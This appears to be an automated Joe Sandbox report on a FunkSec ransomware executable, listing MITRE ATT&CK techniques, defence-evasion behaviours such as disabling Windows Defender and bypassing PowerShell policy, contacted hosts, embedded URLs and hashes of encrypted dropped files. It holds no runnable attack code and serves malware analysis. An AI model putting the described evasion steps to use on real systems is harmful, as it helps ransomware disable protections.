    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\IdentityCRL\production\wlidsvcconfig.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\IdentityCRL\production\wlidsvcconfig.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\MapData VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\MF\Active.GRL VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\NetFramework\BreadcrumbStore VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeCode function: 0_2_00007FF7B16C9148 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,0_2_00007FF7B16C9148
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

    Mitre Att&ck Matrix

    ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
    Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
    Windows Management Instrumentation    		1
    DLL Side-Loading    		11
    Process Injection    		21
    Masquerading    		11
    Input Capture    		1
    System Time Discovery    		Remote Services11
    Input Capture    		1
    Encrypted Channel    		Exfiltration Over Other Network MediumAbuse Accessibility Features
    CredentialsDomainsDefault Accounts2
    Command and Scripting Interpreter    		Boot or Logon Initialization Scripts1
    DLL Side-Loading    		21
    Disable or Modify Tools    		LSASS Memory1
    Query Registry    		Remote Desktop ProtocolData from Removable Media1
    Ingress Tool Transfer    		Exfiltration Over BluetoothNetwork Denial of Service
    Email AddressesDNS ServerDomain Accounts1
    PowerShell    		Logon Script (Windows)Logon Script (Windows)21
    Virtualization/Sandbox Evasion    		Security Account Manager11
    Security Software Discovery    		SMB/Windows Admin SharesData from Network Shared Drive2
    Non-Application Layer Protocol    		Automated ExfiltrationData Encrypted for Impact
    Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook11
    Process Injection    		NTDS2
    Process Discovery    		Distributed Component Object ModelInput Capture3
    Application Layer Protocol    		Traffic DuplicationData Destruction
    Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
    Hidden Files and Directories    		LSA Secrets21
    Virtualization/Sandbox Evasion    		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
    Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
    DLL Side-Loading    		Cached Domain Credentials1
    Application Window Discovery    		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
    DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup ItemsCompile After DeliveryDCSync2
    File and Directory Discovery    		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
    Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc Filesystem14
    System Information Discovery    		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

    Behavior Graph

    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Is Windows Process
    • Number of created Registry Values
    • Number of created Files
    • Visual Basic
    • Delphi
    • Java
    • .Net C# or VB.NET
    • C, C++ or other language
    • Is malicious
    • Internet
    behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1589532 Sample: rZU3xTxOnl.exe Startdate: 12/01/2025 Architecture: WINDOWS Score: 100 36 ipv4.imgur.map.fastly.net 2->36 38 i.imgur.com 2->38 42 Multi AV Scanner detection for dropped file 2->42 44 Multi AV Scanner detection for submitted file 2->44 46 Yara detected FunkLocker Ransomware 2->46 48 5 other signatures 2->48 8 rZU3xTxOnl.exe 151 2->8         started        signatures3 process4 dnsIp5 40 ipv4.imgur.map.fastly.net 199.232.192.193, 443, 49705 FASTLYUS United States 8->40 30 C:\Windows\System32\VvD5lMoAcR.exe, PE32+ 8->30 dropped 32 C:\$Recycle.Bin\...\desktop.ini.funksec, data 8->32 dropped 34 C2RManifest.lyncmu...6.en-us.xml.funksec, COM 8->34 dropped 50 Creates files in the recycle bin to hide itself 8->50 52 Bypasses PowerShell execution policy 8->52 54 Modifies Windows Defender protection settings 8->54 56 Disables Windows Defender (via service or powershell) 8->56 13 powershell.exe 23 8->13         started        16 powershell.exe 21 8->16         started        18 powershell.exe 7 8->18         started        20 4 other processes 8->20 file6 signatures7 process8 signatures9 58 Loading BitLocker PowerShell Module 13->58 22 WmiPrvSE.exe 13->22         started        24 wevtutil.exe 1 18->24         started        26 wevtutil.exe 1 20->26         started        28 net1.exe 1 20->28         started        process10

    Screenshots

    Thumbnails

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


    windows-stand

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    SourceDetectionScannerLabelLink
    rZU3xTxOnl.exe64%VirustotalBrowse
    rZU3xTxOnl.exe68%ReversingLabsWin64.Ransomware.FunkSec

    Dropped Files

    SourceDetectionScannerLabelLink
    C:\Windows\System32\VvD5lMoAcR.exe68%ReversingLabsWin64.Ransomware.FunkSec

    Unpacked PE Files

    ⊘No Antivirus matches

    Domains

    ⊘No Antivirus matches

    URLs

    SourceDetectionScannerLabelLink
    http://oe.msn.msnmail.hotmail.com/cgi-bin/hmdata0%Avira URL Cloudsafe
    https://getsession.org/0%Avira URL Cloudsafe
    http://127.0.0.1:13556/InsiderSlabBehaviorReportedBuildInsiderSlabBehaviorInsiderSlabBehaviorReporte0%Avira URL Cloudsafe
    http://ns.adobe.0%Avira URL Cloudsafe

    Domains and IPs

    Contacted Domains

    NameIPActiveMaliciousAntivirus DetectionReputation
    ipv4.imgur.map.fastly.net
    		199.232.192.193
    		truefalse
      		high
      i.imgur.com
      		unknown
      		unknownfalse
        		high

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        http://crl.microsoftpowershell.exe, 00000009.00000002.1499514079.000002275C5D3000.00000004.00000020.00020000.00000000.sdmpfalse
          		high
          https://i.imgur.com/HCYQoVR.jpegtO8rZU3xTxOnl.exefalse
            		high
            https://login.microsoftonline.com/ppsecure/deviceremovecredential.srfrZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpfalse
              		high
              http://g.live.com/0CR%1/30rZU3xTxOnl.exe, 00000000.00000003.1573889769.000001E547BE4000.00000004.00000020.00020000.00000000.sdmpfalse
                		high
                https://contoso.com/Licensepowershell.exe, 00000009.00000002.1493884811.0000022754104000.00000004.00000800.00020000.00000000.sdmpfalse
                  		high
                  https://login.microsoftonline.com/ppsecure/DeviceQuery.srfrZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpfalse
                    		high
                    https://docs.rs/getrandom#nodejs-es-module-supportrZU3xTxOnl.exefalse
                      		high
                      https://g.live.com/odclientsettings/ProdV2.C:rZU3xTxOnl.exe, 00000000.00000003.1626680514.000001E5474D7000.00000004.00000020.00020000.00000000.sdmpfalse
                        		high
                        https://www.torproject.org/rZU3xTxOnl.exefalse
                          		high
                          http://oe.msn.msnmail.hotmail.com/cgi-bin/hmdatarZU3xTxOnl.exe, 00000000.00000003.1573889769.000001E547BE4000.00000004.00000020.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          https://login.microsoftonline.com/ppsecure/ResolveUser.srfrZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpfalse
                            		high
                            https://login.microsoftonline.com/MSARST2.srfrZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpfalse
                              		high
                              https://g.live.com/odclientsettings/Prod.C:rZU3xTxOnl.exe, 00000000.00000003.1626680514.000001E5474A6000.00000004.00000020.00020000.00000000.sdmp, rZU3xTxOnl.exe, 00000000.00000003.1626680514.000001E547442000.00000004.00000020.00020000.00000000.sdmpfalse
                                		high
                                https://g.live.com/odclientsettings/ProdV2rZU3xTxOnl.exe, 00000000.00000003.1626680514.000001E5474F6000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		high
                                  https://contoso.com/powershell.exe, 00000009.00000002.1493884811.0000022754104000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    https://nuget.org/nuget.exepowershell.exe, 00000009.00000002.1471258004.0000022745A48000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1493884811.0000022754104000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      https://login.microsoftonline.com/ppsecure/devicechangecredential.srfrZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpfalse
                                        		high
                                        https://login.microsoftonline.com/ppsecure/EnumerateDevices.srfrZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpfalse
                                          		high
                                          https://account.live.com/InlineSignup.aspx?iww=1&id=80502rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		high
                                            http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000009.00000002.1471258004.0000022744091000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		high
                                              https://signup.live.com/signup.aspxrZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                		high
                                                https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6rZU3xTxOnl.exe, 00000000.00000003.1626680514.000001E5474F6000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://getsession.org/rZU3xTxOnl.exefalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  https://i.imgur.com/HCYQoVR.jpegtOnrZU3xTxOnl.exe, 00000000.00000000.1413326488.00007FF7B16DB000.00000002.00000001.01000000.00000003.sdmpfalse
                                                    		high
                                                    http://nuget.org/NuGet.exepowershell.exe, 00000009.00000002.1471258004.0000022745A48000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1493884811.0000022754104000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      		high
                                                      https://aka.ms/winsvr-2022-pshelppowershell.exe, 00000009.00000002.1471258004.00000227451C0000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        		high
                                                        http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000009.00000002.1471258004.00000227442B8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          		high
                                                          http://schemas.xmlsoap.org/soap/encoding/powershell.exe, 00000009.00000002.1471258004.00000227442B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1471258004.00000227449C3000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            		high
                                                            http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000009.00000002.1471258004.00000227442B8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              		high
                                                              https://go.micropowershell.exe, 00000009.00000002.1471258004.00000227456B7000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                		high
                                                                https://account.live.com/msangcwamrZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  https://contoso.com/Iconpowershell.exe, 00000009.00000002.1493884811.0000022754104000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srfrZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      https://g.live.com/odclientsettings/ProdV2/C:rZU3xTxOnl.exe, 00000000.00000003.1629950647.000001E5474B8000.00000004.00000020.00020000.00000000.sdmp, rZU3xTxOnl.exe, 00000000.00000003.1625324685.000001E547437000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srfrZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          https://github.com/Pester/Pesterpowershell.exe, 00000009.00000002.1471258004.00000227442B8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            https://g.live.com/odclientsettings/Prod/C:rZU3xTxOnl.exe, 00000000.00000003.1625324685.000001E5474A9000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              https://login.microsoftonline.com/ppsecure/DeviceAssociate.srfrZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://account.live.com/Wizard/Password/Change?id=80601rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  https://account.live.com/inlinesignup.aspx?iww=1&id=80601rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    https://www.coinbase.com/)rZU3xTxOnl.exefalse
                                                                                      		high
                                                                                      https://account.live.com/inlinesignup.aspx?iww=1&id=80600rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96rZU3xTxOnl.exe, 00000000.00000003.1626680514.000001E5474F6000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          http://schemas.xmlsoap.org/wsdl/powershell.exe, 00000009.00000002.1471258004.00000227442B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1471258004.00000227449C3000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            https://login.microsoftonline.com/ppsecure/DeviceUpdate.srfrZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              		high
                                                                                              http://127.0.0.1:13556/InsiderSlabBehaviorReportedBuildInsiderSlabBehaviorInsiderSlabBehaviorReporterZU3xTxOnl.exe, 00000000.00000003.1600554641.000001E547BEB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              • Avira URL Cloud: safe
                                                                                              		unknown
                                                                                              https://aka.ms/pscore68powershell.exe, 00000009.00000002.1471258004.0000022744091000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                		high
                                                                                                http://ns.adobe.rZU3xTxOnl.exefalse
                                                                                                • Avira URL Cloud: safe
                                                                                                		unknown
                                                                                                https://account.live.com/inlinesignup.aspx?iww=1&id=80605rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                  		high
                                                                                                  https://aka.ms/winsvr-2022-pshelp0powershell.exe, 00000009.00000002.1471258004.00000227456B7000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                    		high
                                                                                                    https://account.live.com/inlinesignup.aspx?iww=1&id=80603rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                      		high
                                                                                                      https://account.live.com/inlinesignup.aspx?iww=1&id=80604rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                        		high
                                                                                                        https://www.blockchain.com/)rZU3xTxOnl.exefalse
                                                                                                          		high
                                                                                                          https://login.microsoftonline.com/commonrZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                            		high

                                                                                                            World Map of Contacted IPs

                                                                                                            • No. of IPs < 25%
                                                                                                            • 25% < No. of IPs < 50%
                                                                                                            • 50% < No. of IPs < 75%
                                                                                                            • 75% < No. of IPs

                                                                                                            Public IPs

                                                                                                            IPDomainCountryFlagASNASN NameMalicious
                                                                                                            199.232.192.193
                                                                                                            		ipv4.imgur.map.fastly.netUnited States
                                                                                                            		54113FASTLYUSfalse

                                                                                                            General Information

                                                                                                            Joe Sandbox version:42.0.0 Malachite
                                                                                                            Analysis ID:1589532
                                                                                                            Start date and time:2025-01-12 18:49:11 +01:00
                                                                                                            Joe Sandbox product:CloudBasic
                                                                                                            Overall analysis duration:0h 7m 27s
                                                                                                            Hypervisor based Inspection enabled:false
                                                                                                            Report type:full
                                                                                                            Cookbook file name:default.jbs
                                                                                                            Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                            Number of analysed new started processes analysed:18
                                                                                                            Number of new started drivers analysed:0
                                                                                                            Number of existing processes analysed:0
                                                                                                            Number of existing drivers analysed:0
                                                                                                            Number of injected processes analysed:0
                                                                                                            Technologies:
                                                                                                            • HCA enabled
                                                                                                            • EGA enabled
                                                                                                            • AMSI enabled
                                                                                                            Analysis Mode:default
                                                                                                            Analysis stop reason:Timeout
                                                                                                            Sample name:rZU3xTxOnl.exe
                                                                                                            renamed because original name is a hash value
                                                                                                            Original Sample Name:e622f3b743c7fc0a011b07a2e656aa2b5e50a4876721bcf1f405d582ca4cda22.exe
                                                                                                            Detection:MAL
                                                                                                            Classification:mal100.rans.evad.winEXE@21/163@1/1
                                                                                                            EGA Information:Failed
                                                                                                            HCA Information:Failed
                                                                                                            Cookbook Comments:
                                                                                                            • Found application associated with file extension: .exe

                                                                                                            Warnings

                                                                                                            • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                                                                                                            • Excluded IPs from analysis (whitelisted): 172.202.163.200
                                                                                                            • Excluded domains from analysis (whitelisted): d.8.0.a.e.e.f.b.0.0.0.0.0.0.0.0.5.0.0.0.0.0.8.0.0.3.0.1.3.0.6.2.ip6.arpa, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                                                                            • Execution Graph export aborted for target powershell.exe, PID 7992 because it is empty
                                                                                                            • Execution Graph export aborted for target rZU3xTxOnl.exe, PID 7768 because there are no executed function
                                                                                                            • Not all processes where analyzed, report is missing behavior information
                                                                                                            • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                            • Report size getting too big, too many NtCreateKey calls found.
                                                                                                            • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                            • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

                                                                                                            Simulations

                                                                                                            Behavior and APIs

                                                                                                            TimeTypeDescription
                                                                                                            12:50:11API Interceptor51x Sleep call for process: powershell.exe modified

                                                                                                            Joe Sandbox View / Context

                                                                                                            IPs

                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                            199.232.192.193fMDYks4W2a.exeGet hashmaliciousUnknownBrowse
                                                                                                              http://steam.usercommunityart.com/filedetails/sharedfiles/id=319248110/Get hashmaliciousUnknownBrowse
                                                                                                                https://heuristic-knuth-588d37.netlify.app/?naps/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                  https://theleadking2435063.emlnk.com/lt.php?x=3DZy~GDHJaLL5a37-gxLhhGf13JRv_MkkPo2jHPMKXOh5XR.-Uy.xuO-2I2imNfGet hashmaliciousUnknownBrowse
                                                                                                                    https://media.maxfs.de/Get hashmaliciousUnknownBrowse
                                                                                                                      setup-avast-premium-x64.exeGet hashmaliciousUnknownBrowse
                                                                                                                        setup-avast-premium-x64.exeGet hashmaliciousUnknownBrowse
                                                                                                                          https://report-scam.malwarebouncer.com/XcUR2TnV2VTlXT0s0Z0NYa01KSGt3dUtWMWNiblBrc29mMlpZUU1WdThBSjdDdTlRQTVDV1ZZd0pDeWRmUU5rQ1QvVDNiSlBNYWd2bTd0eTRkZW5jT0hrYTBKWHFiVUc4TVZBOGpiNkh4VG9OTm9zNTVUWHNmNWVydHpqbzhIc1llSzdzTHZ0dENVNWRLZy9BbCsyVDRMSGRHOThUWnV5QUxPU0RZL1dPalNYTmUzMTVoRzl5bmk1ZVZRPT0tLUdVYnJkMC9GazI3MWlxYmotLUpFOURyOWkzK1l6Vy9BYTVOVDBVNkE9PQ==?cid=2346401253Get hashmaliciousKnowBe4Browse
                                                                                                                            https://pwv95gp5r-xn--r3h9jdud-xn----c1a2cj-xn----p1ai.translate.goog/sIQKSvTC/b8KvU/uoTt6?ZFhObGNpNXBiblp2YkhabGJXVnVkRUJ6YjNWMGFHVnliblJ5ZFhOMExtaHpZMjVwTG01bGRBPT06c1JsOUE+&_x_tr_sch=http&_x_tr_sl=hrLWHGLm&_x_tr_tl=bTtllyqlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                              https://covid19.protected-forms.com/XQTNkY0hwMkttOEdiZmZ0V2RRTHpDdDNqUTROanhES0NBYmdFOG1KTGRSTUtrK3VMMzlEN1JKVVFXNUxaNGJOQmd1YzQ3ajJMeVdZUDU3TytRbGtIaFhWRkxnT0lkeTZhdy9xWEhjeFBoRXRTb2hxdjlVbi9iSk1qZytLQ0JxRjd4UmpOS3VUQ2lpOEZneTRoVmpzY2dyekR1WlhYOWVteVcrUXg0a2Y2aEU2ZEZwMVNId3R0U01RK3N3PT0tLVR0bDl1WEFUelg3K2VzTystLUxaMkFrZnU0UmJXRkR3aE5NRE9BOEE9PQ==?cid=2351432832Get hashmaliciousKnowBe4Browse

                                                                                                                                Domains

                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                ipv4.imgur.map.fastly.netfMDYks4W2a.exeGet hashmaliciousUnknownBrowse
                                                                                                                                • 199.232.192.193
                                                                                                                                Y7iJlbvuxg.exeGet hashmaliciousFunkLockerBrowse
                                                                                                                                • 199.232.196.193
                                                                                                                                CF537GfmKa.exeGet hashmaliciousFunkLockerBrowse
                                                                                                                                • 199.232.196.193
                                                                                                                                siy9g3WGCc.exeGet hashmaliciousFunkLockerBrowse
                                                                                                                                • 199.232.196.193
                                                                                                                                SjDqoVVmzX.exeGet hashmaliciousFunkLockerBrowse
                                                                                                                                • 199.232.196.193
                                                                                                                                http://steam.usercommunityart.com/filedetails/sharedfiles/id=319248110/Get hashmaliciousUnknownBrowse
                                                                                                                                • 199.232.192.193
                                                                                                                                https://heuristic-knuth-588d37.netlify.app/?naps/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                • 199.232.196.193
                                                                                                                                https://freesourcecodes70738.emlnk.com/lt.php?x=3DZy~GDLVnab5KCs-Nu4WOae1qEoiN9xvxk1XaPMVXahD5B9-Uy.xuW-242imNXGet hashmaliciousUnknownBrowse
                                                                                                                                • 199.232.196.193
                                                                                                                                https://theleadking2435063.emlnk.com/lt.php?x=3DZy~GDHJaLL5a37-gxLhhGf13JRv_MkkPo2jHPMKXOh5XR.-Uy.xuO-2I2imNfGet hashmaliciousUnknownBrowse
                                                                                                                                • 199.232.192.193
                                                                                                                                https://media.maxfs.de/Get hashmaliciousUnknownBrowse
                                                                                                                                • 199.232.192.193

                                                                                                                                ASNs

                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                FASTLYUSfMDYks4W2a.exeGet hashmaliciousUnknownBrowse
                                                                                                                                • 199.232.192.193
                                                                                                                                Y7iJlbvuxg.exeGet hashmaliciousFunkLockerBrowse
                                                                                                                                • 199.232.196.193
                                                                                                                                CF537GfmKa.exeGet hashmaliciousFunkLockerBrowse
                                                                                                                                • 199.232.196.193
                                                                                                                                siy9g3WGCc.exeGet hashmaliciousFunkLockerBrowse
                                                                                                                                • 199.232.196.193
                                                                                                                                SjDqoVVmzX.exeGet hashmaliciousFunkLockerBrowse
                                                                                                                                • 199.232.196.193
                                                                                                                                sZSXKXOnBw.exeGet hashmaliciousUnknownBrowse
                                                                                                                                • 185.199.111.133
                                                                                                                                sZSXKXOnBw.exeGet hashmaliciousUnknownBrowse
                                                                                                                                • 185.199.110.133
                                                                                                                                PDF-523.msiGet hashmaliciousAteraAgentBrowse
                                                                                                                                • 199.232.210.172
                                                                                                                                http://steam.usercommunityart.com/filedetails/sharedfiles/id=319248110/Get hashmaliciousUnknownBrowse
                                                                                                                                • 199.232.192.193
                                                                                                                                https://heuristic-knuth-588d37.netlify.app/?naps/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                • 199.232.192.193

                                                                                                                                JA3 Fingerprints

                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                3b5074b1b5d032e5620f69f9f700ff0efMDYks4W2a.exeGet hashmaliciousUnknownBrowse
                                                                                                                                • 199.232.192.193
                                                                                                                                Y7iJlbvuxg.exeGet hashmaliciousFunkLockerBrowse
                                                                                                                                • 199.232.192.193
                                                                                                                                CF537GfmKa.exeGet hashmaliciousFunkLockerBrowse
                                                                                                                                • 199.232.192.193
                                                                                                                                siy9g3WGCc.exeGet hashmaliciousFunkLockerBrowse
                                                                                                                                • 199.232.192.193
                                                                                                                                SjDqoVVmzX.exeGet hashmaliciousFunkLockerBrowse
                                                                                                                                • 199.232.192.193
                                                                                                                                rii2.mp3.htaGet hashmaliciousLummaCBrowse
                                                                                                                                • 199.232.192.193
                                                                                                                                sZSXKXOnBw.exeGet hashmaliciousUnknownBrowse
                                                                                                                                • 199.232.192.193
                                                                                                                                sZSXKXOnBw.exeGet hashmaliciousUnknownBrowse
                                                                                                                                • 199.232.192.193
                                                                                                                                v2.exeGet hashmaliciousAdes Stealer, BlackGuard, NitroStealer, VEGA StealerBrowse
                                                                                                                                • 199.232.192.193
                                                                                                                                c2.htaGet hashmaliciousUnknownBrowse
                                                                                                                                • 199.232.192.193

                                                                                                                                Dropped Files

                                                                                                                                ⊘No context

                                                                                                                                Created / dropped Files

                                                                                                                                C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1000\desktop.ini.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):249
                                                                                                                                Entropy (8bit):7.166475927895621
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:6yT35eMbFrWumgSlrwFfvmdbO185K89W3iygjZP8PCNIgtyIJxkqWo92wPKeNFpN:6AFrpL5h5CW3iFjZ0PKIgtyIBpKePp1H
                                                                                                                                MD5:F763562CCFD2C3BF6C8097201E0C260B
                                                                                                                                SHA1:02641C35EC3806A04F2913001F05AC2EC62C6212
                                                                                                                                SHA-256:901DA0B91EEA547D114A87533DCFE66ABA0386452BD29DD799E51704823C48C4
                                                                                                                                SHA-512:AE10632EED0F6C460774A72E826DE27C3F2317EDBFDADE53BB82EF3649245749E93976D40E3F8960385C2E05695DBE3D8236DA761B8D649DDC2D26CB12A4C83A
                                                                                                                                Malicious:true
                                                                                                                                Preview:.X!Vc@lKpc..};tO>`._zt3.[<.?.7.....>.m.U`..O.m.I..N=..5c.. .....d.<....e!EL......-C ..&.k.F.m......*L?....N.%...c..W...dp.;..fv1l..d.......M.....)Z.6]e9.}B{.8E.k..aI..^(.S..(..(..1...%.8............7@.8..h..o..Gu#...7...HD.Y.G<!Wh..]vs...

                                                                                                                                C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1001\desktop.ini.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):249
                                                                                                                                Entropy (8bit):7.116819189033772
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:USpztioq4+d4oynz9qmfyOQUTzP++zHKba5kfapYg8TryMR0qczsBvjkG42zVJct:liAnRqmfywpLeaucCrp0tzIjkcNCn/J
                                                                                                                                MD5:B43DC4FB1B463BA5D872E0C4D2627E2D
                                                                                                                                SHA1:E1F5DEE04B18FEB003F6391B7FF9C56AB59E5D20
                                                                                                                                SHA-256:AEADC119653960FA85EE1C8305049B1C1F108AB49C72B4B3F384AD86DBDF9389
                                                                                                                                SHA-512:B0BCA8E280FACEAF3FDCE228483B76500E273C2E7722878FC843E3719C046763D4572CC77AACD36F19CE81FA86C81B26FA08962B8E719D2DAD4848495377808A
